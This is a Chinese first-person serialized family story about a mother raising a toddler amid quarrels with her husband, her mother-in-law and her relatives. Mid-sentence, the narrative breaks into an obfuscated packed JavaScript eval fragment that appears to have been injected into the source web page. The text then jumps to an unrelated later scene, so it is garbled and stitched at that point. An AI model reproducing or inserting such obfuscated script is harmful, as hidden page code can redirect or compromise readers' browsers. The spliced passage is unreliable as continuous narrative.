天气阴冷,我在房间里开了空调,来烘宝宝的衣服。宝宝的衣服说换就换。我得保证她有足够的衣服穿。我把宝宝的衣服都挂在围栏上,烘起来很方便。端午的被套,我也给他扯下来洗洗,放在空调下烘着。估计一天也就干了,晚上再给他换上。 “我的那几件羽绒服都不能穿了。一洗就跑毛。后背上都没有毛了,只剩下一层布了。”端午说。 “你自己不能烘烘吗。你只照顾你自己还照顾不好吗?你每年都买新的羽绒服,怎么件件都不能穿了呢?你的羽绒服都是一次性的啊?你是富二代啊!”我说着,去他的房间,把他的那几件羽绒服都拿过来,挂在床头儿的围栏上。 端午进来了。“这个围栏没什么用,我给拆了吧。”他说。 “装的时候你不行,拆的时候你怎么那么积极呢?”我皱着眉头说,“我留着保护宝宝的。你拆它干嘛呢?我现在正用它挂衣服烘衣服呢,你没看到吗?” “不拆的话,宝宝在床上皮,会把它扑倒的,反而危险。”他说。 “有围栏总比没有好啊。有围栏,即使宝宝要扑倒了,也可以缓冲一下,不会直接摔在地上。你不要拆,不要你管。”我说。 第二天,我发现端午的一件棉服没有了。 “天呢!端午居然把他的那件棉服穿走了。才洗了两天,还没有干吧。”我跟老太太说。我嘴里说着,心里还担心他冷不冷呢。 我说:“这个人噢,生活能力太差了,衣服还没干,他就穿走了。不会爱自己,也不会爱别人啊。这要是对待小孩子,他也这么粗心啊。这样的人怎么照顾孩子啊。” 我摸摸他的羽绒服:“天哪,里面根本就没干。怪不得羽毛不能蓬开。” 老太太不说话,她不知道我说的是端午哪件衣服,她对端午的穿着也不关心。 我把端午另外两件羽绒服拿起来拍拍:“你看,毛全起来了。端午自己就是懒地拍。他闲着看电视,打游戏,他也不拍拍衣服。” 老太太说:“烘的时候,把里面的翻过来。” 我说:“我早就给翻过来了,我不说,你也不知道。”我对她的厌恶之感又升起来了。 晚上,端午回来了。我问他:“你那件灰色的棉服是不是被你穿走了?” “是的。” “干了?” “干了!” “才烘了两天,怎么可能干。”我说,“你以后把你的羽绒服晾在有风有阳光的地方,打开窗户,好好晒晒,最起码晒上一两个星期。” “窗户不用打开,外面灰尘太多,就这样晒晒。阳光房。”端午说。 “你那羽绒服里面根本就没有干,里面的羽毛跟湿透了的小鸟的羽毛似的,缩在一团。你不要连窗子都不开,就晾羽绒服,还说什么是阳光房。这样的天气,肯定得开窗通风晒上一两个星期啊。然后,你再拍拍。你记住了没有?” “行的!行的!”端午随口附和着。谁知道他以后会不会把羽绒服晒透,谁知道他会不会好好拍拍羽绒服后背的羽毛。 白天,老太太来带着孩子,我去买菜,烧菜。平时,端午住在这边,都是跟他爸爸吃,我跟老太太带着孩子也是难得烧菜。这几天,我换着花样给端午烧菜。今天毛血旺,明天剁椒鱼头,后天酸菜鱼。 宝宝拉屎了。我去给她换尿不湿。 “宝宝有点拉肚子了。”我说,“拉的全是黄汤。” 老太太说:“给她个大蒜头子给她吃!让她自己拿着吃!” 我说:“怎么可能给宝宝吃大蒜头子呢。那么辣!她吃了肯定会辣地哭啊。” 老太太说:“我看人家,把大蒜头子拍拍,就给小孩子吃。” 我说:“这个不可能啊。大蒜头子多辣啊。大人吃着都辣,一岁的小孩儿怎么可能吃的下去呢。再说,我也没听说过小孩子拉肚子吃生的大蒜头子啊。” 她说:“我以为可以来。” 我说:“我倒是听我妈妈说过,小孩子拉肚子吃大蒜,那是在农村大锅底下,用炭火烤熟的大蒜。不是你说的生的大蒜头子。她本来拉肚子就很不舒服了,你还要给她吃生的大蒜头子。下次你自己拉肚子,你就吃生的大蒜头子哈。你还可以拌上油盐酱醋香油味精。你看看你能吃地下去吧。” 端午下班回来了,我们一起吃饭, “剁椒鱼头好吃嘛?”我问他。 “还行!”他说。他是很少能说句“好吃”的。 “好吃的话,以后再烧一次。”我慈祥地说。 “不用了,不用了。吃着麻烦的,还要扒开那么多剁椒才能看到鱼头。”他说。 “这叫什么话!”我说,“太不会说话了!” 吃过晚饭,端午又是装模作样地带着孩子看电视,我照顾孩子难得的跟父亲相处的时间,就主动去洗碗。 水冷的刺骨。 “端午!你家的水龙头坏了,只出冷水,不出热水了。回你找人修修。” “不用修!可以用的!”他说。 “可以用你用!冬天水那么冷,我要洗菜洗碗,连热水都没有。我要是大姨妈来了,更要用热水。”我说。 “好!回头我让我爸爸找人来修修。”他说。 “你不要任何事情都依赖他好吗?水电热水器、燃气的维修电话,你都自己存起来。需要的话你去找人。你干嘛什么都依赖他啊?他要是八十岁了,你还让他去给你找人啊?你非得依赖他干什么?我那边的任何事情不都是我自己搞定的。”我说。 “没事!让他去!让他去!”端午说。 “你干嘛什么事都依赖他啊,搞得非他不行了似的。”我说。 端午不吭声儿了,他继续看电视。我继续洗碗。我想起来,我的母亲在冬天里,冒着刺骨的寒风,和冰冷的压水井的凉水,冻地嘴里冷呵呵的,给我们做饭的样子。如今,我也活成了她的样子。 我洗着碗,水“哗哗”地流淌着。窗外是漆黑的夜色,我脑子里也在想着心事:一个女子,本也是自由自在的小鸟,因为中了魔,爱上一个男人,经历了十月怀胎,生下一个孩子,生下一个比自己的心肝还要重要,自己永远无法割舍的孩子。如果婆家支持优待那还不错。如果婆家厌弃,对这对母子不管不顾。婆婆和孩子的父亲都可以自由自在。唯独孩子和孩子的母亲举步维艰了。她抱着孩子不能上班,放下孩子,孩子无人看管,甚至无法成活。 女子本强,为母则弱。一个带着孩子的母亲,简直是弱爆了。 我在很小的时候,就听爷爷奶奶说,不要吃枣泥馅儿的月饼,因为枣泥馅的月饼很脏,那些带着孩子的妇女给孩子擦完腚再去和枣泥,地上就是孩子屙地屎,苍蝇围着飞来飞去。我那时候记住了爷爷奶奶的话,知道了枣泥馅的月饼真的很脏。尽管我一直没有吃到过枣泥馅的月饼。 不过,现在,我有了孩子,有了无法割舍的拖累,有了给孩子擦屎刮尿的机会。我现在想想,那时候觉得很脏的,那枣泥馅儿的月饼,竟然也不觉得那么脏了。我甚至觉得,那个做枣泥馅月饼的老板很伟大,他居然允许那些妇女带着孩子来劳作。 那些妇女必须带着她的孩子啊,不然,她的孩子吃什么,喝什么? 我刚一收拾好,端午就赶紧把孩子交给我:“我太累了,我要去休息了。”宝宝还对他恋恋不舍呢。 我本来也没指望他,我就自己带着宝宝在床上哄她玩儿,再喂她吃奶,哄她睡觉。外面在下雨。窗外,“啪嗒”一声。宝宝以为是爸爸。 “爸爸!”宝宝喊着。同时,她又疑惑地看着黑洞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“唉!那你小心点,现在很多单位都要大裁员,银行、老师,都要裁员了。”我弟弟说。 “你在哪听说的?”我问。 “网上到处都在说,毕竟生娃娃的少了,你知道今年幼儿园倒闭了多少吗?今年新生儿比去年少了800万!以后会更少。”我弟弟说。 “嗯,是的,小孩子越来越少了。我还有十来年就退休了。我都四十了。”我说。 “嗯,小孩子尽量给老太婆带,你也尽量少请假,别到时候领导给你穿小鞋。”我弟弟说。 “知道了。现在白天请假时间都不够,都是晚上去挂水。谢谢提醒。”我说。 “不行你赶紧去拉关系,该送礼的送礼。否则你日子难过。”我弟弟说。 “我不想送礼,我也不会送礼。我跟谁送礼?”我说,“我就那点工资,还要养孩子。我哪够送的?再说,送多少他们才满意啊?我只要日子还过得去,我就不去送礼。随便他们怎么发落。” “反正你得小心了。”我弟弟说。 “知道了。你吃完饭干什么?”我问他。 “玩手机,玩累了就睡觉。”我弟弟说。 “你现在身体好吗?要保重身体。”我说。 “我的身体杠杠滴。”我弟弟说。 “那就好。我头发白了好多,人家都说我是小孩儿的奶奶。”我说。 “你的压力太大了。”我弟弟说。 “你说地太对了。”我说。 “小孩子你要放手给老太婆带,否则你要是失业了,那就更惨了。”他说。 “知道了,我白天上班,也没有办法带,也就是晚上带孩子。” 大年初一早上,我打电话给我妈妈:“妈,新年快乐!鸿雁呢?” “可别提了,我被鸿雁气死了!”我妈妈说。 “鸿雁怎么了?” “鸿雁跑了!” “他怎么跑了的?” “昨天,我就嘟囔他几句。恁国佩奶奶给他介绍对象,我让他去看看,他不去。起来就走,到他那屋关上门睡觉了。到了天明,我去看,哎!人家不在了,走了!”我妈妈说。 “他能去哪啊,大过年的?他身上有钱吗?”我说。 “咱不知道!随他去!谁有本事谁使!上回,我让他家来相亲,他不来,还把我电话拉黑了。我找了恁何敏姨,好说歹说,他才接我电话。这回,家来没几天,又跑了!” 我说:“我来问问他。” 我跟我弟弟打电话,他的电话关机,不接。 我就跟他发信息,我说:“小弟,你现在在哪?你走了,肯定是因为咱妈妈说你了,你的心情我也能理解。但是,咱妈妈那么大年纪了,你好不容易回来过个年,你还是要照顾一下她的感受。再说了,咱妈妈说你什么,也是为了你好。你要是不想说话就不说话。你在外千万注意安全,你要是缺钱的话,随时跟我联系。” 过了没有多久,我弟弟回复我了:“妈的!天天逼我相亲。钱都被骗光了。她想被人骗钱,她别拉上我,我挣点钱容易吗?” 我说:“咱妈让你去相亲,不是为了你好吗?你怎么还把她拉黑了的?” “她犯贱!天天让我去相亲,那些相亲的女的都是骗子,上来就要钱,买这买那。有一个女的,她爹是神经病,她娘是人贩子,她还让我去相亲。我辛辛苦苦想攒点钱,一去相亲,就败坏光了。我挣点钱容易吗?‘五一’的时候,她非让我回去相亲,我不回去,她就让何敏姨给我发信息威胁我。我要是再不回家相亲,她就去告我。我后来没办法,又去了。结果怎么样?那个女的,不能出来,又要在家照顾她娘,又要照顾她侄子,她爹还生病住院了,上来就要五万块钱。你说,这不是骗子吗?相什么亲啊,钱都被这样霍霍光了!” 我说:“咱妈不知道她们是骗子吗?” 我弟弟说:“她?她知道什么?人家媒人说什么是什么。要不是我拦着,她被人骗地更多。一年到头弄两个钱,都被人骗了。” 我说:“我打电话给咱妈妈,我跟她说说。” 我又打电话给我妈妈:“妈妈,鸿雁说的,他不想去,是因为怕人家是骗子。咱家又没有钱,不能由着别人骗。他是体谅你挣钱不容易。” 我妈妈说:“那你也得去尝试啊!你不去尝试,怎么知道谁是骗子呢?只有你尝试了,被骗了,才知道她是不是骗子啊!” 我皱着眉头跟我妈妈打电话说话,我们说话跟吵架一样。 端午说:“哎呀,太吵了,你到房间里打电话去!” 第二天,我们去逛超市的时候,端午抱着宝宝在前头走。我看到人家店门口有扫码送气球的,就停下来去扫码。端午抱着孩子到了游乐场那里。我扫完码拿着气球到了游乐场。我看到了宝宝,把宝宝从端午那里接过来。 “我要带着宝宝进去玩。”端午说。 “多少钱?”我问。 “我刚才充了卡,充了二百。”端午说。 “你充那么多干什么?我们又不经常来这里,你充了都是浪费。又不是你家门口的超市。” “去吧去吧!让宝宝去玩去。”端午说。 “去哪里玩啊?”我问他。 “里头。”他说。 “里头滑滑梯那么高,她才一岁多,怎么玩啊?不危险啊。”我说。 “我带着她。”他说。 “我把她抱进去吗?”我说。 “先脱鞋。”端午说。 “这么冷的天,脱鞋不冷啊?感冒了你负责?”我说。 “进去玩玩就不冷了。”他说。 “来来!绑个号码带子!”游乐场的小姑娘说。她手里拿着一圈纸,好像是给宝宝绑在脚腕上的。 “绑哪只脚?”我问她。 “右边那只!”她没好气地回答我说。她说着把那纸带子给宝宝绑在脚腕上,“脱鞋进去!不能穿鞋子!” “我们不玩了。”我一把撕掉那纸带子,抱起宝宝就走。 “玩一会儿呗。”端午说。 “不玩了。”我生气地说,“那小姑娘对人一点都不耐烦,我花钱买气受呢。” “人家哪有不耐烦,我就看见你跟人家生气了。”端午生气地说。 “她刚才莫名其妙地搪塞我,你没看到吗?”我问他。 “我没看到。”端午说。 “那当然,我受你家人气的时候,你也看不到。”我说。 “本来都准备进去玩了,被你给搅黄了。”端午生气地说。 “进去玩?怎么去玩的?大冬天的让宝宝脱鞋子!那么冷的天,感冒了你负责?”我说。 “怎么可能感冒?” 端午说。 “感冒了就晚了。到时候又得什么都靠我了。人家让宝宝脱鞋那是人家怕弄脏了她的场地!宝宝冷不冷人家才不管!大冬天的让宝宝脱鞋,我舍不得!你要是想去你自己去。”我说。 我带着宝宝在外头玩小积木。一个男的也带着一个小女孩在玩小积木。 端午还在看着对面的滑滑梯。 “你看看,宝宝根本不爱玩积木。带她去玩滑滑梯多好。”他说。 “里面太危险了。她才一岁,根本玩不起来。”我说。 “玩不起来!我家的这么大了都玩不起来。”对面的男人说。 “是的呀。他还非要带着宝宝去玩。还要给她脱鞋子。”我说。 “积木有什么好玩的?宝宝根本不想玩。”他说。 “她太小了,只能玩这个呀。要不就是骑小马。”我说。 “走吧,回家吧,不玩了。”端午说。 “走吧。”我说。 我们气呼呼地到了停车场,端午开起了车。我们在车上继续争吵着。 “充地好好的卡,你不让去玩,太扫兴了。”端午说。 “她太小了,根本玩不起来。你没听那个男的说吗,根本玩不起来。”我说。 “你说玩不起来,人家当然随着你说了。”端午说。 “谁让你充卡的?你身上还有多少钱?”我问。 “就几百块钱了,没钱了。”他说。 “没钱了你还充那么多。我以为你有二十万呢。”我说,“我就是有二十万我都舍不得充二百。你真大方。你是不是又看见人家小姑娘在,你又要充大方了。” “什么小姑娘,我是想让宝宝去玩的。”端午说。 “你让宝宝去玩,人家大冬天的让她脱鞋你都不心疼。你不心疼我心疼。她才一岁。游乐场里又冷又危险,她根本玩不起来。”我说。 “真扫兴!”端午说,“离婚!” “离婚就离婚!宝宝归我!”我说。 “宝宝肯定归我!”端午说。 “凭什么归你!”我说。 “肯定归我。你脾气不好,把孩子带坏了。”端午说。 前面是红灯了,端午停了下来。我抱起孩子下了车。站到了路边上。路边的人行道上,是一个卖各种棉鞋的男人的货摊子。那个男人就坐在他的货摊子前,呆呆的,不说话。 端午不知道是赌气还是怎么,一脚油门开了出去。 我抱着宝宝站在路边上,一时也不知道该往哪里去,是回我那里呢,还是给他父母打电话呢。我犹豫着,抱着孩子站在路边上。 端午开出了大概一百米的距离,他把车停在红绿灯前头,又朝我们走过来了。我的眼泪一下子就下来了。 端午接过宝宝说:“走!” 年假过去了。端午把我们送回来。下午三点多。端午要去上班了。 “这周要连着上班,周末不回来了。”端午看看我说。 “不回来就不回来吧。回来也是给我添麻烦。”我嘴里这样说着,心里开始难过了。端午这一走,又得八九天才能回来。我们夫妻、他们父女又要分离了。 为了生活,我们面对任何困难都只能顺应,没有其他的办法。 这个年假,连同年假前的几个月,我们连一次夫妻生活都没有。中间还多次吵架闹离婚。我们过得并不和谐。可是,在分别的时候,这一切不快和隔阂好像都已经烟消云散了。剩下的只有难过。也许这就是人家说的,没有爱情,还有亲情吧。 我走到房间里,眼泪还是不住地掉。 “端午!”我朝着屋外说。 “哎!”他答应着。 “你带带宝宝。我出去买东西。”我说。 “好的。”端午答应着。 我找个买东西的借口,躲出去了。否则,我还是在家里哭,被端午看着,我还真是不好意思。而且,我很担心,我不出去调节一下心情,就会像这样没完没了地掉眼泪。 我下了电梯,擦擦眼泪,擤擤鼻子,骑上电动车。来到了菜场。 我先给宝宝买条鱼。再看看手机。手机里记着,鱼,香菜,药。我突然想起来,白天,我想着给端午买药的。他的左边胳膊疼,他现在马上要走了。幸好我及时想起来了。我就来到菜场旁边的存仁堂。 我问医生:“我老公左边胳膊疼。要用什么药啊?” 她说:“左边胳膊疼?不是肩周炎吧?” 我说:“我也觉得他可能是的。我也有肩周炎,他疼的地方跟我是同一个位置,说不定是夜里冻的。” 她说:“你看看,这边有云南白药,还有喷剂。你要哪一个?” 我说:“我来问问他吧。”我就给端午打视频。 我的眼睛还是肿肿的。我把手机对着药架上的两种药:“你看看,你是要云南白药,还是用喷剂啊?”我用带着哭腔的嗓门响亮地说。 “喷剂吧。”端午说。 “不要云南白药啊?” “不要不要!就是喷剂。” “那好吧。”我说。 5.遇见前婆婆 周六,天气很好。我在家里给宝宝喂饭,擦屎,刷鞋子,好容易收拾好了,我就抱着宝宝去广场上玩。 我抱着孩子走在小区外头的小路上,前面,有三个人,是我前夫,前公婆。前夫可能是看见我了,他手里拿着手机,走到小路边的小树跟前,装做要打电话的样子。他身边年迈的父母还没有注意到我。 我抱着孩子大步迎着走了过去,我没有什么好躲闪的。当年我对他仁至义尽,而今我对他也没有丝毫芥蒂。我有什么好躲的。况且,我还真想看看他的父母。 他的爸爸还是像以前一样背着手往前走着,他认出了我。 “小宋啊?”他说。 “哎!”我说。“爸爸”两个字没喊出口。 老太太走在最后面,我走到她跟前,她看了看我。六年了,她老了,右边的眼皮塌陷了下去。她手里拎着东西,左手一大包,右手一小袋,像是要去哪里串门子。 “呐,给你!”她把手里的一个小袋子给我,里头装着两袋子饼干。 我说:“我不要!妈!”我的眼泪一下子流了出来。 我说:“我对你印象还蛮好的,我还蛮想你的。”我不自主地流着眼泪。这眼泪可跟黄林军没有半点关系。这么多年过去,我经历了难说难道的婆媳关系,和工作的变动。这些委屈,在我心里,百感交集。 老太太说:“给。” 我把她的手推过去,我说:“我不要。” 我真的不太想要,她没有给我东西的义务了。我也不贪图那点东西。 她说:“拿着,少点!”我看她很真诚,就接过来了。 我跟老太太说:“你们这是要去哪?” 她说:“小燕的房子买到那儿了,我们去看看。”她的手往前指着,她女儿的房子大概就在附近的小区。 我说:“那你们走吧。” 她说:“好的。”我往前看了看,黄林军居然对着我露出一脸职业性的微笑。他应该对我们刚才的会面很是满意,没有尴尬,没有争吵,我还自然地跟他妈妈打招呼,还跟他妈妈说话,还跟他妈妈流泪了。他不会觉得我流泪是因为对他还有什么遗憾吧。 哼!随他的便吧。 我跟他爸爸妈妈倒是想说说话。可是我们说什么呢。我跟他们说我的辛苦吗?我跟我婆婆相处很痛苦,我的工作变动让我心里很委屈。可我跟我前公婆他们还有什么关系?她的儿子年近五十,还没有结婚,我怀里抱着的孩子跟他们没有半毛钱的关系。我们有话也当无话了。 我把眼泪擦擦,跟我怀里的宝宝说:“走吧!” 我们走到广场边上,我把宝宝放下,牵着她的手,让她自己走,她不太想独立行走,伸着两只小手让我抱。 我说:“妈妈拿好吃的给你吃。”我把那包旺旺雪饼拆开,拿一个给宝宝。 我抱起宝宝,看到前面有一个两三岁的小孩在钓鱼。我就在那充气的水池旁坐下,也让宝宝去钓鱼。 一个老太太带着孙子也在钓鱼。 我问她:“多少钱啊?” 她说:“十块钱。” “怎么没有人收钱啊?” 她说:“在那边。” 没过一会儿,钓鱼的老板来了。 “多少钱?”我问。 “十块。” “玩多久?” “没时间限制。” 这还蛮好的。我扫码付钱,就带着宝宝玩了起来。宝宝伸手到水池里捞鱼,我把渔网给她,她就哗啦哗啦捞起来。 “来,放在小桶里。”我拿着一个粉色的小桶,“放在妈妈这里。”宝宝就开始往桶里捞鱼。她捞地很多,把我手里的小桶倒地满满的。旁边,陆陆续续又来了好几个两岁左右的宝宝,他们的奶奶或是妈妈带着他们来捞鱼。 “你们多大了?” “二十六个月。” “你们多大了?” “二十三个月。” 我看旁边的男宝宝把头伸进水池里去捞鱼。我跟他妈妈说:“他还会控制身体呢!” 她笑着说:“我在后面拉着的。” 我也赶紧在后面拉着宝宝的衣服。我想给她拍照片,可是一手拉着她的衣服,剩下一只手就不好拍照了。我的手机响了。 我打开手机一看:请收款。原来是端午发工资了。我心里想,这回,我可要好好地给闺女攒钱。我把钱收了。发了一个宝宝的照片给端午。 端午看了回复说:“给她穿少点。我看旁边的小孩胳膊都露出来了。” 我说:“今天本来就给她换了薄羽绒服。衣服给她敞开点就行了。” 我把宝宝的衣服扣子解开,旁边的一个带宝宝的爷爷说:“对,就这样,敞开。” 这次的遇见,不知道我前婆婆会想什么。我想,她没什么好怪我的。她为人还是有礼有节,很大气。这跟我现在的婆婆是完全不同的。要是我现在的婆婆,她是打死不会把两袋饼干都给对方的,可能一块都舍不得。这就是格局。这就是为什么我们处不好的原因。我的现婆婆,小里小气,一股子小家子气。 我又想,如果是我前婆婆,我怀孕,生产,都不会那么委屈那么生气。如果是我前婆婆来陪产,我就不用挺着大肚子跟着她付钱。我甚至不用去菜场,她一个人就买好了,她烧饭也很好吃,也没有什么头发。她不口臭,也不撒谎,不昏头,也不装模作样,不坑蒙拐骗,也不装神弄鬼。 我其实是受她的影响很大的。我做菜什么的都是跟她学的。她就那样烧饭,烧菜,然后端上桌给她的丈夫和孩子吃。前公公也会烧饭,也经常跟她一起烧饭。等饭上了桌,前公公坐下来喝喝小酒,前婆婆就忙着给他盛饭端汤。有很长一段时间,我对端午也有她那样的耐心,可是后来,经过漫长的时间的摧残和演化,和高温高压,我的心渐渐地变成了琥珀,我不想再伺候端午了。 这世上的事没有那么尽善尽美。我欣赏前婆婆前公公,但是前老公太差劲,他不会像端午那样转钱给我。我得到了端午这样真心实意的老公,又没有得到那样让我真心佩服的公婆。 我的前公公身材修长,背着手,像个退休的老干部。他不是非常不小心,绝不会碰儿媳妇的手一下的。他的灵魂很干净,很让人敬佩。我的前婆婆,虽然好强,虽然我那时候对她也会有意见,但是总体来说,她没有让人非常厌恶和想不通的缺点。她不卑不亢,亮亮堂堂,不像我现在的婆婆那样,谎话连篇,胡说八道,驴唇不对马嘴。 我的前婆婆,她那时候也是盼着我给她生个孙子的。“我看人家买刚鹅蛋吃,等小宋怀孕了,我就买刚鹅蛋给她吃。”而我现婆婆,是我自己挺着大肚子把鹅蛋买了来,她才卖弄她的经验跟我说,孕妇吃鹅蛋好的。两相对比。一个给足了孕妇幸福感,一个自私抠门,一毛不拔。如果是我前婆婆伺候我的月子,我应该不会那么抑郁的。 下午,老太太从老家休息回来了,我去菜场,先去给宝宝买鲫鱼,再去买菜。小鲫鱼杀好了,我手里拎着鲫鱼走到我常去的那家菜摊子旁边。正对着菜摊子的是《小坛》的前同事,姓什么我一时想不起来了。他看了看我,又把眼光挪开。是嫌我晦气,还是怕我尴尬?我才来不及想这个。我跟卖菜的说:“给我拿把芦蒿苔。再给两根小葱香菜,我要烧鱼。” “好的!”她说。 我想,怕我尴尬是吗?我有什么好尴尬的?我比谁差了?还是我工作搞不好了?我不就是没钱没势资历低孩子小吗? 我又没贪污腐化,我光明磊落,堂堂正正,一尘不染,我有什么好见不得人的。 那些贪污腐败,以权谋私,大搞裙带关系,用权术盘活自己,杀死别人,灵魂和□□都乌黑乌黑的人,他们盆满钵满金玉满堂地活着,他们高傲地活着,他们的头颅高傲地抬着。 而我,清清白白,干干净净地出苦力,却活地畏畏缩缩悲悲切切,凭什么? 我偏不低下头去,我偏要昂起头来! 回到家,我在厨房里做饭,老太太在客厅里带着宝宝玩。我听到宝宝没有好腔儿地哭了,赶紧从厨房里出来。 我问老太太:“宝宝怎么回事儿?” 老太太说:“她刚才要往沙发上爬,我从后头把她往上托了一下。” 我说:“宝宝没事儿吧?她平时不怎么哭。这回哭地不对劲。” 老太太用她那惯会忽悠人的有气无力的声音说:“应该没事儿!” 我不想看老太太。是的,我一眼都不想看她。我是被她种种荒唐的言语跟行为给彻彻底底地伤透了。她的脸也没什么好看的。那是一张我越看越觉得相由心生的脸,那是一张我看一眼就不想再看的脸。两个眼角像是往下扒着。两个鼻孔像是往上抬着。很难闭合的冲天的嘴巴努力地闭合着。没有丝毫温情的小眯缝眼皮子底下包裹着的眼珠子里藏着多少爱忽悠人的鬼把戏和鬼点子。要不是我头脑清醒没那么好忽悠,要不是我有一颗慧眼懂得去分辨,要不是她的低劣的骗人的手段没有那么天衣无缝露出了很多马脚,要不是她的每一次坑蒙拐骗的手段都恰好被我识破。我得无数次地被她骗地团团转。我厌恶透了这张脸,更厌恶透了拥有这张脸的人的鬼话连篇以及那么多歪门邪道的鬼点子和鬼心眼。我厌恶透了在这样的鬼话连篇和鬼心眼鬼点子暴击下的我的不可置信、歇斯底里和暴跳如雷。我不喜欢这样的人。这个人,矫揉造作起来像个斯斯文文的教授和大家闺秀,耍起鬼心眼来像个嬉皮笑脸不顾自尊和脸面的狐狸。她的爱撒谎爱耍鬼心眼爱玩鬼把戏的本性,导致了我没办法给予她发自内心的尊重。我不喜欢跟这样的一个人在一起。 宝宝还在哭:“疼!疼!” 我说:“宝宝过来!妈妈看看。” 宝宝过来了,她哭地全身是汗。 我说:“来!妈妈给洗洗!来!” 我把她抱到洗碗池子那儿,放了温水,给她洗洗手。 她的胳膊不动。“疼!疼!”她哭着说。 我问老太太:“她刚才是不是扭着胳膊了?” “应该没有!她是困了,要闹觉!”老太太继续忽悠说。 婆媳之间的大战有的在表面,有的在心里。 我知道,一般这个时候,我是希望能看出来宝宝有任何不妥的端倪。 而老太太,她虽然像是一根枯柴一样站在我的身边,我知道她的内心则是在暗暗发力,她希望我看不出任何破绽,寻不到任何蛛丝马迹。 我的婆婆的一些话一些事,需要你去破案的。面对我的婆婆的一些行为和言语,你得有福尔摩斯般的侦查能力。 是的,我越来越相信相由心生这个说法。 如果一个人的心术不正,常常想着怎么胡说八道坑蒙拐骗的话,她发出的心力常常是歪的斜的,既然是歪的斜的,那么冥冥之中的宇宙反射给她的力量也是歪的斜的。不能沿着原本的正路回到她的心房,使她的心房得到有效的滋养,所以她才会像是枯柴一样。 我知道老太太爱瞒天过海。越是这个时候,我越是不相信她的鬼话! 我小心地动动宝宝的胳膊:“能动吗?” “疼!”宝宝哭着说。 老太太在一边眯着她的小眼睛说:“她就是要睡觉了!闹觉的!” 是的,她永远是完美的,她为了维持她的完美形象,咬紧牙关,抵死不肯承认宝宝在她手里会有任何问题。为此,她不惜巧言令色,瞒天过海。 我太了解她了。 我要是面糊子耳朵,我要是像端午那样死鬼偷懒的,我也许就被她给蒙混过去了。 可是那是我的孩子!可惜,我早就识破了她的真面目,我已经很久都不再相信她了。 我选择相信我的耳朵,我选择相信我的宝宝! “走!去医院!”我说。想蒙混过关!既坑害了我女儿,又维持了你的完美形象,又不用费事跑医院,没门儿! 我抱起孩子就走。她也赶紧跟在后头。 到了医院,坐诊的男医生问:“怎么回事儿?” “宝宝往沙发上爬,她奶奶在后面托着她的腿往上推她,可能是胳膊扭着了。”我说。 “拍个片子吧。”医生说。 “就拍局部吧?我怕小孩子拍片子不好。” “就只拍胳膊。”医生说。 我给宝宝的胳膊拍了片子。等报告出来以后,我拿着去给医生看。 “嗯,小孩儿的胳膊肘错位了!”他说,他用手把宝宝的小胳膊一正。 “现在没事儿了。你们抱着她走走,看看呢!来!拿我手里的东西!”医生把他手里的笔给她。宝宝伸手拿住。 “你看,刚才她的胳膊根本就不敢动。现在好了。”医生说。 我说:“肯定是她奶奶硬往沙发上推她,把她的胳膊给推错位了。” 我跟老太太说:“你以后不要再那样推她了。她是小孩子。不耽事儿。” 老太太说:“好的。” 我们回到家。我跟老太太说:“我跟你说了多少遍,小孩子有事,你跟我说,千万不要硬哄。她胳膊都错位了,你想哄哄就拉倒了?哄就是骗!今天要是听你的,不带宝宝去医院。宝宝得受多少罪。你要是这样蒙混,等你老了,你的胳膊要是错位了,我们也说没事儿!” 君子喻于义,小人喻于利。对于这种极度自私虚伪的人,讲道理已经没有任何作用了,就得威逼利诱。让她想着她以后的养老的问题,她才会把她那不惜让孩子承受痛苦的自私和虚伪稍微改一点点。 48. 魑魅博人应见惯,总输它、翻云覆雨手。 1.端午被裁员 夏天到了,天气热了起来。一天晚上,端午回来了。 他一进门儿就跟我说:“厂里效益不好,我被裁员了。这几天我要找找工作。” 我说:“你找呗,我又没影响你。” 端午说:“我晚上不能带宝宝了。” 我说:“你本来就没怎么带宝宝啊。不都是我带的吗?你们老板跟你谈的吗?是今天突然通知你的吗?” 他说:“是人事谈的。前几天就跟我说了。” 我说:“现在被裁员也正常。这些天天热,都没带宝宝出去玩。等你有空了,等天好了,我们带宝宝出去走走。” 端午说:“我还是先找工作吧。” 我说:“工作好找吗?” 他说:“我试试,应该好找的。” 我说:“幸好你一直在学习。否则,进厂只能出苦力了。你明天还上班吗?” 他说:“还上班的。要到月底才不去。” 过了几天,端午给我发了红包,是这个月的工资。 我问他:“怎么还有钱呢?” 他说:“是这个月的。” 我说:“我听人家说,合同工被裁员以后有补偿的。叫什么n+1。你们老板补偿你了没有?” 端午说:“没有。” 我说:“我听说应该有补偿的?你们怎么没有呢?” 端午说:“没有就没有吧。我在网上看了两个工作,这个星期天去面试。” 我说:“好的。” 星期天早上,端午起来洗洗脸,刮刮胡子,喝了一碗粥,换了身衣服,准备去面试去了。 我说:“你穿哪件衣服去啊?” 他说:“就穿这件灰色的T恤。” 我说:“怎么皱皱巴巴的呀。我不是跟你说了,晾衣服的时候要扯一下吗?我给你熨一下吧?” 他说:“没事儿!不用熨!人家看的是技术,又不是打扮。” 我说:“那你也得注意一下形象啊。要不你换一件吧?” 他说:“没事儿。就穿这件。” 下午,端午回来了。 “我今天面试上了。周一就去上班。试用期两个月。工资要少一些了。” 我说:“试用期工资多少啊?” 他说:“五千。” 我说:“好的。” 七月十五那天,正好是星期天,我们回了端午老家。 端午说:“我跟我爸爸去上坟,你在家烧烧菜,中午让我爸他们在我们这边吃饭吧。” 我说:“好的。” 早上,老太太过来带宝宝玩去了,我在家张罗了一大桌子菜。 “今天不带宝宝出去玩了吗?”我跟老太太说。 “今天不出去了,七月十五,到处都是烧的纸。”老太太说。 “爸爸几点过来啊?”我问她。 “他十一点过来。他还要上班。”老太太说。 十一点的时候,老头子过来吃饭了。 老头子边吃边说:“这个凉菜好吃,是你买的?” 我说:“我自己拌的,就削个黄瓜,拌个凉粉就行了。” 我说:“妈妈,你吃菜。你尝尝这个凉菜。” 老太太说:“我不吃了,我吃了花生,不能吃黄瓜。黄瓜跟花生不能一块儿吃,吃了会中毒。” 我不吭声儿,她总有一套属于她自己的歪理邪说。 我说:“什么都有毒,妈妈还说西红柿有毒呢。” 